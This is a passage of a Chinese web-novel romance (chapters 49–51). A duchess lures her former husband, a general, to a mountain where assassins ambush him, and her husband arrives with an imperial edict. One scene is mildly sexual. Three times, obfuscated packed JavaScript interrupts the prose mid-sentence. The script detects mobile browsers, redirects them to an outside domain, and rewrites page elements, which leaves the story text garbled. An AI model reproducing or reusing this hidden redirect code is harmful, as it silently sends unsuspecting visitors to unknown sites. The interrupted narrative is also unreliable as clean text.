慕溶月亲笔写了一封信,信中提起愿意留莫盈儿在她身边,以贴身女侍卫的身份。 “把这封信送到那客栈去,再派两个人去好生安顿她吧。” “是。” 杏雨领了信便退下了。 宋景渊起身关拢了门窗,再来到慕溶月身旁时,连嗓音也放低了几分。 “今天,我同桓王喝了几杯。他丢给了我一个棘手难题……其实我知道,他只是为了刺探我的态度。” 慕溶月抬首反问他:“是关于谢羡风的么?” “不错。” 不等他说,慕溶月已经大概能猜到是什么样的问题。 “他是不是不肯去见桓王?” 宋景渊轻叹了一口气,俯身躺在了床沿上,烦闷地拽扯床帘。 “这个怪胎脾性乖戾,谁人去说都没用。若不是走投无路,我真不想再让你去见他。” 慕溶月没吭声,只是默默地将莫盈儿送她的头簪收了起来。 “我的好夫人,我答应你,这是我求你的最后一件事了。” 宋景渊便起身,亲热地搂着她的腰肢,与她贴耳私语。 “他是我计划里很重要的一步棋。若我能借此机会找到桓王铲除异己的证据,上奏陛下,那于宋慕两家而言,都是百利而无一害的。” “你只需要把谢羡风单独约到一个地方。剩下的,无须脏了你的手。待此事一结束,我便不会再将你牵扯进桓王之案中了。” 说着,宋景渊依恋地收拢了手臂,与她贴得更近,耳鬓厮磨地低喃:“夫人……可好?” 慕溶月深吸一口气,再睁开眼时,表情也多了几分晦暗的意味。 “我明白了。” 方才宋景渊已经宽纵了她收留下莫盈儿的私心,于情于理,她自然也该体谅他的难处。 再加上,如今,慕宋二家早已是拴在一条绳上的蚂蚱,一荣俱荣、一辱俱辱。 她早就说过要担起守护家族门楣的责任,她自然不会推辞。 只是…… 她该怎么做,才能保证谢羡风一定会赴约,还要是独身一人? 慕溶月陷入了沉思之中。 另一边,宋景渊借着烛光打量着她的侧脸。那温暖的火光照耀在慕溶月的鼻尖上,衬出她白皙如雪的皮肤,更让宋景渊口干舌燥、心驰荡漾。 他餍足地将人搂得更紧,笑着闭上了眼。 若说,他此举全然没有半分私心,那也太过假心假意。 他故意撺掇慕溶月去当那个推人下悬崖的恶人——除了明白她的话对于谢羡风来说,是最有效的良药以外……其实也颇有几分杀人诛心的意味。 说实话,若是此次行动能够一举二得,同时解决了他的两个心腹大患,宋景渊自是喜不胜收。 只不过, 在慕溶月面前,他还并不能将这心思表现得太明显,反倒显出他恶毒。 于是,只好沉默地笑着,一边将人搂得更紧,珍惜此刻难能可贵的亲密时光。 *** 马球会结束后,慕溶月又是接连的好几日没有联系谢羡风。 她没有留下只言片语,只剩谢羡风一人待在客栈里,人来人往,繁华喧闹,他却只剩下了空落落的寂寞。 好几次,谢羡风想主动找她,哪怕只是同她说几句话。但思来想去,最终还是克制了这般的欲-望。 他想把主导权交到她手里。 无论慕溶月接受与否,都不会动摇他的决心。 所以,他想让她来掌控节奏的快慢。 但时间一久,他仍是克制不住心底积攒的思念。偶尔夜深人静,谢羡风会悄然地翻墙而过,站在层层高楼之上,透过国公府灯火通明的窗栏,远远地见上她一眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809085|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 见她寻常地笑着,时而对月抚琴,时而秉灯夜读…… 渐渐地,他也安心了许多。 谢羡风不愿再回临州城了,那个没有慕溶月,冷情、空荡荡的家。于是,他整日将自己锁在客栈里,不见人,也没心思玩乐。 他派人去素芳斋买了一盒又一盒的酥果,每天反复地品尝那些同样的口味,感受她爱的味道,吃到胃里翻腾、呕吐不止,也不停手。 他只想和慕溶月见面,留在还能感受到她气息的京城里。 尽管,这样的日子,似乎总也看不到结果。 这次来京,谢羡风做好了久留的准备。 他没有带太多东西,随身行囊里只有一件棉袍。 眼下正是秋高气爽的时节,很明显还不到穿这冬衣的季节。但……这件棉袍,是她留给他的最后的礼物。 见不到慕溶月的日子里,他会披着这件棉袍,躺在垂下的轻纱床帐里,想着她那日默许他拥抱的停顿;想着她对他的态度逐渐缓和…… 是错觉么? 还是说,他们的结局真的有可能转圜? 一想到这里,谢羡风的情绪都会难以抑制地高昂起来,可迅速的亢奋过后,却是更加空虚的寂冷。 思念如蚂蚁啃噬每一条神经,情-欲冲破理智的癫狂之际,他从枕下猛地扯出了那条缎带。 经过岁月的沉淀,缎带已然褪去了颜色,上面的字迹也早已风干,变得模糊不清。 那是曾经见证了她对他满腔滚烫爱意、记录了她对他海誓山盟的信物。 其实…… 这些年来,他一直都好好地保存着。 谢羡风喉头干涩,将那缎带系在了手上,缠成了好几圈,干涩的掌心逐渐往下移去…… 窗扇轻敞,秋风吹散了房内的一丝燥热。 谢羡风衣衫半褪,闭眼感受着那缎带粗糙的质感,与肌肤摩擦,激起别样的感觉,令人头皮发麻。 最终,他松开了手。 也放下了那条沾染了精-秽的缎带。 这是他最后的一丝倔犟,以这般偏执而贪婪的方式,让自己的气味,能够沾染到慕溶月哪怕一分一毫。 半晌,房中的气味散尽,从楼道口传来一阵脚步声,下一刻,刘彰敲响了谢羡风的房门。 “将军,醒了吗?” 这样的时刻,谢羡风不愿被第二个人打扰。他不耐烦地蹙起眉心,“……你最好是真的有急事。” 刘彰顿了一瞬:“是平阳郡主送来了信帖。” 谢羡风眼前一亮,猛地从床上蹬了起来。 “真的?” 他敞开门,劈手夺过了那封信帖,头重脚轻得好似云里雾里一般。 他是不是在做梦? 刚想到她……她就真的来找他了。 谢羡风按耐着心头的愉悦之情,拆开了那信笺,逐字地读。越读到后面,脸色越是难掩的狂喜。 她约他单独去青林山赏花。 青林山。 谢羡风头脑一热,浑身的血液霎时直往上涌。 直到读完了最后一个字,不等刘彰解释,谢羡风猛地攥住了那信封,抬首毫不犹豫道:“出发,去青林山。” 49. 第四十九天 收到慕溶月发来的回信后,莫盈儿兴奋得好几宿都没睡好。 她第一时间便想将这个好消息告诉她最信任的师兄,却发现谢羡风忽然联系不上了。 他不在常待的那个客栈里,也没有留下只言片语。 莫盈儿只好向客栈掌柜一打听,才发现原来很不凑巧,他昨日便启程去了青林山。 他去青林山做什么? 莫盈儿不解,但隐约意识到事情并不简单。 于是,她管掌柜借来了笔墨,匆匆留下了一封书信,并郑重交代:“若谢将军回来,还请将这信代我转交给他。” 掌柜的收下了书信,“姑娘放心吧,大人一回来我就会向他解释的。” 莫盈儿点了点头,便暂且将这事放置不管,收拾准备前往国公府向慕溶月报道。 *** 国公府内,宋景渊推开了寝房的门,见慕溶月正在窗前刺着绣花。 美人配美景。宋景渊的心情格外之好,大步流星地走过去,轻揽她的肩头。 “我还不知道,夫人的绣工竟这么好,都快将那宫中绣坊的御用绣娘都比得自叹不如了呢。” 慕溶月微微一笑,“还不是一点一点练出来的。我从前也总是笨手笨脚,也会刺破手指……” 说到这里,她忽而想到了什么,戛然噤了声。 从前,她为谢羡风绣香囊时,就总是笨拙地刺到手指,连基础的穿针引线都总也弄不好。 “夫人,你走神了。” 宋景渊的声音将她的思绪拉了回来。 慕溶月茫然地抬起头,话题都到了这儿,宋景渊索性顺势问她:“给某人的信已经发出去了么?” “嗯。”慕溶月答,“他会在青林山等着的。” “好,我会派人去给桓王传信的。”宋景渊轻轻收拢五指,攥了一下慕溶月的肩头,以安抚她纷乱的心绪,“接下来的事,由我接手便好。夫人不用再管了。” 慕溶月点了点头,没有应声,而是继续打量着手中的刺绣,时而小修小补。 宋景渊在她身旁坐下,端详她安静的侧脸,倏地开口问她。 “夫人,今日是花灯节,你想不想与我出门逛逛?” “自从两年前的那日,我们已经好久没有一同去逛过花灯节了。” 回想起昔日,她天真无知地找上他,主动提起退婚一事的情景,慕溶月也不禁被自己的傻气而逗笑。 “你又想与我赌灯谜了?” “若夫人有兴趣,我自然奉陪。” 慕溶月凝望着宋景渊的双眸,那双眼深邃、沉静,却也像藏着心事一般扑朔迷离。其实,她知道宋景渊只是想转移她的注意力,见她这几日情绪不高,想带她出去散散心。 既然如此,她又何必辜负了夫君的好意。 “嗯,那就去逛逛吧。” 宋景渊莞尔一笑,轻轻握住了慕溶月的手。 …… 门外,莫盈儿紧紧贴着墙面,瞠目结舌,心跳得犹如雷点。 方才,莫盈儿带着一个简单的包袱来找上门报道。门童领她进了门,只让她在后厢等着夫人,却迟迟无人引路。她只好凭着感觉盲走,一时误打误撞,竟直接闯入了正房的庭院里。 莫盈儿远远地见到慕溶月身旁的丫鬟杏雨守在门前,就知道自己走错路了。她本想绕道离开,在路过连廊时,却忽然听见了从里屋传来了“青林山”这三个字。 那不正是师兄要去的地方么? 莫盈儿的步伐情不自禁慢了下来。 隔着一堵墙,她只能依稀听见一些断断续续的音节。什么会去传信、不用再管之类的…… 期间,她却敏锐地捕捉到了一个词眼。 桓王。 莫盈儿心中一紧,却又迅速压下狂跳的心,面上装作镇定不惊的模样,最终克制着表情匆匆离开了。 …… 另一头,浑然不觉的慕溶月打开门,杏雨便上前解释道:“小姐,盈姑娘已经来了,正在后厢等着呢。” 慕溶月微微颔首:“走吧,去见见她。” 慕溶月来到后厢时,莫盈儿已经在那里候着了,她身旁是一个掌事嬷嬷,正在向她交接侍卫的护甲工具。见慕溶月来,莫盈儿连忙起身,行了个大礼。 “多谢郡主肯给予我这个机会,郡主的提携之恩,盈儿必定涌泉相报。” “好了,客套话先暂且不谈。”慕溶月主动将她从地上扶了起来,温和地笑了一下,“自今日起,你便是我的贴身侍卫了。不过,有些规矩要提前立好,有些话我也想先说在前头。” 莫盈儿洗耳恭听:“是。郡主请讲。” “在我跟前做事,我唯一的要求便是忠诚。一次不忠,是为终生不用。”慕溶月恢复了严肃道,“我希望你从今以后,不管有什么事都可以先与我商议,我并不是那蛮不讲理之人,若你真的有什么难处,我会体谅你。” 莫盈儿眸中闪过一丝晦暗之色,但依旧拱手作揖道:“是,属下明白。” “噢……对了,还有一点。”慕溶月又道,“我希望你凡事都能够以我的人身安危为首。不过……这是做侍卫最基础的要求了,相信不用我说你也会明白的。” 莫盈儿颔首应是。 “剩下的,我没什么别的要特殊交代的了。你若准备好了,今日就开始跟着我吧。晚上我要出门一趟,届时你不要离我太远就好。” 莫盈儿停顿了几许,忽然主动开口道:“那么……我能斗胆问郡主一件事么?” 见她骤然提出疑问,慕溶月眼中倒是多了几分欣赏。她喜欢莫盈儿对她坦诚以待的态度,若是莫盈儿为了奉承雇主而欺上瞒下,她反倒要忧虑起自己将她留在身边的选择是否正确了。 “你学得很快。”于是,慕溶月便从容应道,“是什么事?” 真到开口时,莫盈儿神色反倒多了几分忐忑和羞赧。 “作为侍卫,本该以守护雇主的私隐为第一要义,偷听墙角更是大忌。只是……” “属下方才前来报道时,无意间走错了路,经过了郡主的寝房,这才听见了一些不该听的事……” 闻言,慕溶月也是一怔。她没想到莫盈儿会这么直白,思索片刻,反问她:“所以,你都听到了什么?” 莫盈儿一面观察着慕溶月的神色,一面小心翼翼地试探道:“属下只听到了郡主与国公爷在商议有关桓王去青林山的事。我只是恰好得知,谢师兄这几日也在青林山上……” 果不其然,话音落下,慕溶月的眉头微蹙,面色迅速沉了下来。 “桓王?” 见她表情不对,莫盈儿立马跪在了地上,主动认罪。 “谢羡风是我自幼一同长大的师兄,我只是出于同门之情对他的关心,并没有别的意思。若是唐突问了不该问的话,还请郡主责罚,属下不敢有分毫怨言。我只是……不想对郡主有所隐瞒。” 慕溶月没接话,莫盈儿便向她坦白了心中所想。 “这些年,我一直在追查我父亲当初被奸人陷害的真相,我也很清楚桓王在京中的势力盘根错节,只是,我不明白,为何桓王会与师兄扯上关系……” 这些年来,她一直活在痛苦之中,只要一听见有关故人的人名便会神经紧绷,止不住的胡思乱想:“……难道,是与师兄最近在追查的军械走私一案有关?” 慕溶月终于不能再沉默了。 “你虽然身已归隐,却仍然很关心朝中的政局。”她阴沉着脸色起身,只给莫盈儿扔下了一句话,“我不想评判你的选择,但此事——你还是莫要打听为好。” 闻言,莫盈儿便明白,慕溶月的态度已然很明确了。 她不想插手此事,也不想让莫盈儿多问。 但她这般消极之举,反倒愈加验证了莫盈儿心中的猜测。此时,莫盈儿知道自己再过多追问也是徒劳,索性闭口不言,而顺从地行礼道。 “……属下明白了。” *** 夜晚的花灯圆,一片灯火通明。车水马龙的繁华之景,比起多年前有过之而无不及。 宋景渊与慕溶月并肩穿行在各色的悬挂灯笼之间。宋景渊忽而驻足,回眸望向她,指了指头顶鲜艳明亮的孔明灯。 “夫人,还想来玩灯谜么?” 慕溶月笑了一下,推脱道:“罢了,反正也是比不过你的。” “原本还想着今年故意输给你一题,讨夫人的欢心呢。”宋景渊索性直接摘下了一朵栩栩如生的兔子灯,送到了慕溶月手心上,莞尔,“那好吧,那我就也不找幌子了,直接送你一盏灯笼吧。” 慕溶月望着那盏手提灯笼,剪纸折成了两只兔子耳朵的模样,很是可爱。她面露欣喜,拿在手里把玩了好一阵:“真好看。” 见慕溶月终于露出了笑颜,宋景渊也笑逐颜开,搂着她的肩头,与她亲密耳语。 两人身后的不远处,莫盈儿已然换上了侍卫服,腰间挂着防身的佩剑,紧紧跟随着他们,亦步亦趋。这里人潮汹涌,她更要时刻关注慕溶月的动向,以确保她的人身安全。 但不知怎么,今夜,她总有些恍惚分神。 她无心关注此刻花灯节五光十色的盛况,只觉得那些光怪陆离的灯让人眼花缭乱、心口烦闷。一想到桓王好似心中的一颗悬石还未落地,师兄也正生死未卜……莫盈儿的心里就七上八下,无法集中注意力。 如今,爹爹走了,她的家散了。 难道,要她眼睁睁看着师兄也相继离去,最后只剩下她一人在这世间飘摇,暗自苟活么? 这样的结局——不是她想要的。 莫盈儿一咬牙,暗中攥紧了双拳。 这里距离青林山,最快两个时辰便可来回。 只要她快马加鞭…… 一声轻唤忽而打断了她的思绪。莫盈儿错愕地抬头,发觉是慕溶月正在招手叫她。 “盈儿,你来。” 莫盈儿徐步走了过去,慕溶月便将手中的兔子灯笼递给了她。 “你瞧,这花灯好不好看?” 莫盈儿眼前一亮,慢慢地点了点头。 “你果然喜欢。”慕溶月笑道,“还记得,你以前很爱折纸鸢。我便猜到,你也会喜欢这花灯的。这灯就送给你吧。” 莫盈儿心头一颤,原来,慕溶月只是为了哄她开心。 如今想来,慕溶月待她真的很好。不仅愿意收留她,还将她视作朋友,真心待她。 慕溶月不愿意让她知道关于谢羡风与桓王的纠葛,大抵也有她的理由。 既然如此,就让她自己来承担这一切吧。 一人做事,一人当。她想救师兄,就不能将慕溶月波及进来。 慕溶月见她面色有异,便问:“你怎么了?” “……我身子有些不适,大抵是老毛病犯了。”莫盈儿突然捂起了肚子,龇牙咧嘴地垂下头,“郡主,能否容许我去药堂采买些草药?来回两个时辰便足矣……真的非常抱歉!” 慕溶月没说话,而是与宋景渊对视了一眼。他们这次出门拢共带了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怕就怕,背后还有更深层次的、恐怖的原因。 “……恐怕不止是戏耍这么简单哪。” 谢羡风缄默了许久,神色却不以为然。 “这是我欠她的。”他淡淡道,“当初,是我将她晾在这青林山上整整一天。现在,该是我赎罪的时候了。只要她开心,我等到天荒地老又如何?” 他嘴上这么说着,灰氅下的手指却是隐忍的发颤。 夜里的山间是刺骨的寒冷。谢羡风的双颊被冻得通红,眼神却是从所未有的坚定。 “我从前不知道,青林山竟这么冷。” “她当时一定被我伤透了心,却还是等了我那么久。” 见主子自顾自地一头沉浸在伤悔气氛中,刘彰简直欲哭无泪。 也不知他是真的不懂,还是强装不懂,将军平素那么聪明的人,怎么到了最该清醒的时刻,却像昏了头一般?刘彰索性一鼓作气,直接讲话挑明。 “将军,你再好好想想吧,这青林山早在一年前就已经被荒弃,变得人迹罕至,只剩下一些野狼猪獾会在夜半出没。平阳郡主不是那般意气用事之人,她不会无故叫你在这青林山上吹尽一夜的寒风。可若是她真的有事要约见你的话,便不会只递来一封没头没尾的信帖,更不会将见面的地点定在这荒山里——将军,属下是怕你受人利用……” 他越说越激动,谢羡风皱紧眉头,遽然打断:“刘彰,你到底想说什么?” 见将军仍旧执迷不悟,刘彰一时着急:“将军,咱们还是快快下山吧!当初追查军械走私一案阻碍重重,属下越是深思越觉得不对,唯恐伤了某些人的利益,中了埋伏啊!” 话音落下,有片刻的僵持。 谢羡风渐眯起眼。 “你是想说,溶月其实是那件案子的知情人,引我来这里,只是另有所图?” 刘彰长舒一口气,以为将军终于听明白了,这才郑重地点了点头。 谢羡风却僵着手,忽而从怀中掏出了那份慕溶月寄给他的信帖,逐字地读,眼神有片刻的迟疑,但很快,就归于了平静。 那是她的亲笔字迹,不会错的。 是她让他来这里的。 “你多虑了。” “我了解她,她不像你说的那般不堪。” 谢羡风的表情又逐渐恢复了冷漠。 刘彰一时失语:“将军……” “够了,刘彰,不得再血口喷人!”谢羡风失去了耐性,低声吼道,“你没见她最近对我态度都有所缓和吗?” “……”刘彰无奈地轻叹一声,柔声劝道,“正是因为有所图谋,才会缓和态度。将军,还请三思吧。” 谢羡风侧脸十分执拗,刘彰开始有些读不懂他了。 不知是不是情爱真的使人蒙蔽、失去理智;亦或是,即便认清了现实,也不愿接受残忍的真相,而选择逃避。 “我要在这里等她,”他只是一味地固执,“……这是我们的约定。” “你等不到她的!”一个尖锐的声音陡然刺破了僵滞的空气,“你再等下去——等到的人也只会是桓王派来的刺客!” 谢羡风诧异地回眸望去——来者却是一个他意料之外的不速之客。 莫盈儿。 50. 第五十天 莫盈儿原本还有些不解,为何师兄谢羡风会平白和桓王扯上关系。 直到她赶到了青林山,无意间听到了谢羡风与刘彰二人之间的对话,终于才彻底明了了一切。 见到谢羡风这般固执,莫盈儿一时着急,就脱口而出:“你再等下去——等到的人也只会是桓王派来的刺客!” 话音落下,谢羡风怔怔地回过头来。 “盈儿?你怎么来了?” 莫盈儿急火攻心,三步并两步地来到了谢羡风跟前,一副大彻大悟的模样,“我早就猜到了会是这样!” 刘彰见她来也有些意外,但还是伸手搀扶了一把:“姑娘莫着急,有什么话慢慢说……” “师兄,我今天听到了郡主在与宋国公交谈,那宋国公说,只要让你去了青林山,剩下的便交给他就好,他会去通知桓王……”莫盈儿不愿再看见谢羡风自欺欺人,便将道理揉开了掰给他看,“师兄,你曾同我说过,你在调查军械走私一案,跟丢了线人后,却始终没有新的进展。师兄,你可曾想过,那么重要的案子,事关社稷之本,为何却迟迟破获不了?皇帝又怎会无动于衷?这案子明面上没有风声,说明背地里一定有大的动作,其背靠了多大的势力,这就是答案!” 谢羡风皱紧了眉头。 “……你想说,是桓王。” 莫盈儿点了点头,以为自己终于说服了谢羡风。 “宋国公向来都是皇帝手下的一条狗,指哪儿打哪儿——你以为,郡主和他的两次婚约都只是巧合吗?师兄,你被牵扯进了他宋国公下的一盘棋里,他们定是要拿你来杀鸡儆猴了!” “……” 见谢羡风的神色不对,莫盈儿的声音也渐渐软了下来。 “师兄,我不是来与你争辩孰是孰非的,我也不想去猜想郡主是否真的欺骗了你,或许,你和她不过都是被人利用的棋子……总之,师兄,你快走吧!” “不管你接不接受,事实就是,你已经被桓王的人盯上了!” 谢羡风沉默了几许,直到明月将他的影子拉得好长。 “……如果你说的都是真的,”半晌,他才沉声道,“那么,你不该来的。” “……什么?”莫盈儿一时有些不可思议,“我如果不来,谁来告诉你真相——” “盈儿。” 谢羡风却遽然打断了她。 直视着她惊瞠的目光,谢羡风厉色道,“你是溶月手下的侍卫,而我又是被她叫来了这青林山。若是被外人知道了是你在向我通风报信——你有没有想过,这会将她至于何种境地?……你这是害了她。” 莫盈儿被他说得逐渐垂下了头,瓮声瓮气地呢喃。 “我承认我这样是不对,可是……我没办法眼睁睁看着你去送死啊!你是我爹最器重的门生,也是和我从小一起长大的师兄,我——我怎能在这时背信弃义……” 谢羡风轻声叹了口气,抬手拍了拍她的肩头,好似安抚。 “回去吧。” “保护好她。” “至于我……”谢羡风顿了顿,只道,“我自然会照顾好自己的。” 莫盈儿眼眶一酸,正想开口说些什么,忽然听闻身后传来了一阵风声—— 那窸窣的声音蹊跷得很,倒像是人的脚步声一般。谢羡风凭借机敏的直觉,瞬间就察觉出了异样。 他猛地按住了莫盈儿的手,打断了她的动作。 “……师兄?” “有人来了——”谢羡风暗中送力,将莫盈儿猛地推了出去,“——快走!” 下一瞬,刘彰已然摆好了应战姿势。莫盈儿踉跄地隐匿进了树影之间,霎时间,一群黑衣人倾巢而出! 刘彰率先刺出一剑——很快便被挡下了!他眼尖地发现一支黑刃正从谢羡风头顶清洗而去——“将军,小心!” 谢羡风猛地躲掉了这致命一击,反手亮出佩剑,与刺客交战。 为首的黑衣人冷笑一声,挥了挥手,众刺客瞬时如恶狼般一拥而上。谢羡风身形一闪,试图突围,却不慎被身后一人偷袭,锋利的剑尖划过他的后背,血瞬间洇红了衣衫。 谢羡风一个踉跄,单膝跪地,却仍咬着牙,目光如炬,怒视着对手。 然而,此刻攻势如潮,他渐渐体力不支。又是一剑刺来,他躲避不及,手臂被狠狠刺中,手中的残剑“哐当”一声掉落。 这些黑衣人训练有素,是专业的暗卫。尽管谢羡风是百经沙场的将士,但仍然抵不过势单力薄的劣势。两人很快就被团团围住,阴影瞬间将他们笼罩。 谢羡风暗中伸手去探落在地上的长剑,却被其中一人发现—— “还敢耍花招!” 那闪着寒光的利刃猛地朝谢羡风的肘窝刺去—— 一声沙哑的嘶吼瞬间划破了长空! …… 风声树影间,莫盈儿往山下的小径上拔足狂奔。不知跑了多久,直到终于可以看见大路上的点点亮光,却被一股力量拉住了手,“嘶——” 她抬首一看,眼前之人竟是慕溶月! “郡……” “嘘!” 一旁的杏雨连忙捂住了她的唇,阻止她惊叫出声。待到莫盈儿逐渐冷静下来,才松开了手。 莫盈儿调整了情绪,涨红了脸,才低声地问。 “郡主,你怎么在这里……” 语气之中还透露着几分羞赧。 慕溶月敛起了表情,肃声反问:“你还有脸问我?” “这话是不是该我来问你?你不是去药堂了吗?” 莫盈儿脸颊通红。 “……对不起。” 身后的不远处又传来一阵躁动,慕溶月便拉住莫盈儿的手腕,将她牵往另一处:“跟我来。” …… 斑驳树影在林间摇曳,四周寂静得可怕。 谢羡风体力不支地摔倒在地,被一群黑衣剑客紧紧围困,手中的长剑已然折断,只剩一节残刃,无声地坠落。 他衣衫破碎,发丝凌乱地贴在沾满血污的脸上,一截手臂被剑从中钉在了地上,剧痛让人额头布满了渗血的汗珠,浑身动弹不得。 刺客死死踩住了他的四肢,正要拔剑朝他心口刺去—— “大胆贼人,全部给我拿下——” 一声浑厚的嗓音打断了死一般沉寂的气氛。 “奉天承运,皇帝诏曰—— 今闻桓王行不法之事,涉嫌谋害朝廷臣子,着宋国公速将涉案人员拘拿,彻查此事。布告天下,咸使闻之。钦此!” 只见寒风撩动树影,一抹高大的身影赫然现于草林之间。 是宋景渊。 他刚宣读完圣旨,电光火石间,大批支援的人马已然迅速将在场的所有刺客包围—— 宋景渊合上了圣旨,望向谢羡风的眼神透着一股轻蔑之色。 “来人,把他们全部带走,一个不剩——”说着,他话音一转,视线重重地落在了谢羡风身上,笑谑地说,“还有这个重要的证人,可别让他死了。” 话音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832916|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落下,几个侍卫便上前来试图扣住谢羡风的双手,却被他发颤地甩开。 “放开——” 一旁的刘彰也挣扎起来,本能地想要保护将军,可他也流了很多的血,已是有心无力。 谢羡风逐渐失力,在拉扯之中,身影变得摇摇欲坠,突然脱力地跪倒在了宋景渊的脚边,溅出的血还染上了他的衣角。 宋景渊嗤笑了一声,俯视着他狼狈的身影。 “放心吧,只是叫你配合调查——不会抓你去大牢的。” 可若是被抓走,便是彻底落入了宋景渊的手中——再无半分反抗之力了。 谢羡风双目赤红,执拗、又屈辱地抬起了头来,耳畔尽是嗡嗡作响。 他的左手已然被血色浸染,失去了知觉,彻底抬不起来了。 于是,他只能颤抖地举起了另一只手,血肉模糊的手指愤恨地指向了宋景渊的眉心:“……你……” 你,休想。 可悲的是, 他就连愤怒的声音也发不出来了。 被愚弄的震怒、被折辱的悲愤……见到宋景渊这张令人倒胃的脸,他几乎要狂怒到发疯。 但是, 当他的视线往远处一转,紧接着看见了站在宋景渊身后不远处的慕溶月—— 慕溶月, 手提着一盏小兔花灯,暖黄的光映在她那面无波澜的脸上。 那一霎那,谢羡风就连呼吸都停滞了。 他一时间忘记了反抗,而被侍卫粗暴地带走。 在转过身的瞬间,滔天的怒意便顷刻间转化成了扎向他自己的刀子。 心脏被剜开,皮开肉绽的痛,直到他彻底麻木,什么感觉也没有了。 他终于骗不了自己了。 原来,遭受背叛的滋味……是这样的痛苦。 他宁愿她利用了他以后,绝情地扭头就走,不要给他留下任何一丝的幻影。 看不见她的脸…… 或许他还不会那么的难受。 谢羡风痛苦地闭上了眼,放弃了一切挣扎。 既然这是你所期望的, 那我就遂了你的心愿吧。 哪怕,你是希望我死。 …… 看见师兄这般惨状,莫盈儿双眼泛红,几乎落下了泪来——她拼命捂住了嘴,死死咬紧牙关,才控制着没有发出声音来。 而只是默默垂泪。 她心有不甘,头脑一热地将话抛出了口—— “若是再迟来半刻钟……师兄就没命了!” 她这话显然是说给身旁的慕溶月听的。 闻言,慕溶月的脸色陡然转冷。 “你是在怪我吗?” 莫盈儿红着眼抬起头——与她蓦然撞上了视线。 她仔细地打量着慕溶月的眼眸,似乎想在她脸上找寻哪怕一丝的动容,一分一毫的追悔、惆怅,亦或者是怜悯…… 可是,都没有。 她在慕溶月的眸底找不到任何的波动。 她一言不发,与莫盈儿镇静地对视。 只有胸口微微地上下起伏, 让人能感觉到,她是个活人。 空气也变得僵持起来。 最终,是莫盈儿率先含泪摇了摇头,嗓音也带上了几分哽咽。 “我记忆中的郡主……是个善良美好的女子。” “……不要以为自己很了解我,”慕溶月却移过了眼神,冷声打断,“我本就是这样一个蛇蝎心肠的女人。” 51. 第五十一天 就在这时,一声轻唤却打断了两人的谈话。 “夫人,你怎会在这里?” 宋景渊朝慕溶月走来,脸上的表情带着几分犹疑。 “我还以为,你现在正在家里等我。” 慕溶月闻声回过了头,与他四目相对。见状,莫盈儿惊出了一身冷汗。 从宋景渊的角度来看,说要回家的妻子,此刻却出现在了青林山——很难让人不去多心,猜想她是否是最后心怀有鬼,才跑来向谢羡风暗中通风报信。 慕溶月完全可以说出实情,避免与丈夫生出嫌隙。 只是,倘若如此,莫盈儿的下场就很凄惨了。 不知宋景渊这个心狠手辣的男人会如何处置她。 横竖都是一死,罢了。莫盈儿闭上双眼,将心一横——下一瞬,慕溶月却上前一步,将她挡在了身后。 然后,面色平淡地答:“只是有些放心不下你,所以过来看看,仅此而已。” 人在说谎时,会有些下意识的小动作。 例如,不安分的手指,或是游移的目光。 宋景渊将这些细节全部看在眼里,面上却若无其事一般反问:“仅此而已?” 慕溶月抬眼看向他。 “嗯。” 于是,三人皆是闭口不语,空气里弥漫起了一股诡异的氛围。 宋景渊皱了皱眉。 他隐约感到,他与慕溶月之间,莫名地生出了几分隔阂。 她有话瞒着他,不愿对他说。 宋景渊不喜欢这样的感觉。 但表面上,他按兵不动,而只是以寻常态度向下人挥手示意:“护送夫人回府吧。” 一直到坐在了回城的马轿内,莫盈儿的心中仍然七上八下,忐忑不安。 她担心师兄的伤势,却也猜不透慕溶月的心思。 如今,郡主对师兄,究竟是何种的态度? 若慕溶月真是蛇蝎心肠的冷血之人,当时为何又会好心收留了她,纵使知道她做错了事,还替她遮掩? 难道,她的蛇蝎心肠只是对着他而已? 倘若真是如此,那还能算得上是蛇蝎心肠吗? 也许,用“由爱生恨”来形容,才更为妥帖吧。 莫盈儿情不自禁看向了慕溶月的侧脸。 或许,就连她自己都没发现…… 其实在她心底, 还有一处隐蔽的角落,仍然在乎着他, 对吗? *** 关上了寝门,慕溶月陡然松下了紧绷的戒备,踉跄地跪倒在了床沿边。 杏雨吓了一跳,连忙吩咐下人来照顾,慕溶月抱着冰冷的痰盂,吐了个昏天黑地。 吐到后面,只有苦涩的胆汁,直到干呕得喉咙充血,呛出了道道血丝。 杏雨紧张得花容失色,连忙想为她寻郎中来看,“小姐!这……这可怎么才好啊……” “不必声张,”慕溶月却拦住了她,艰涩地说,“我只是……有些吓到了。” 她没想到,自己生平第一次见到这般血腥的画面,会是在谢羡风的身上。 如此近距离接触,她猝不及防地闻到了那样浓烈的铁锈血腥味,令人胃里翻云倒海地恶心。 大片的血色染红了她的视线,目光所及之处尽是断肢残臂,血肉模糊。 慕溶月被这幅场景震撼得无以复加,心跳如雷点,久久不能平复。 就连她自己也有些看不懂自己了。 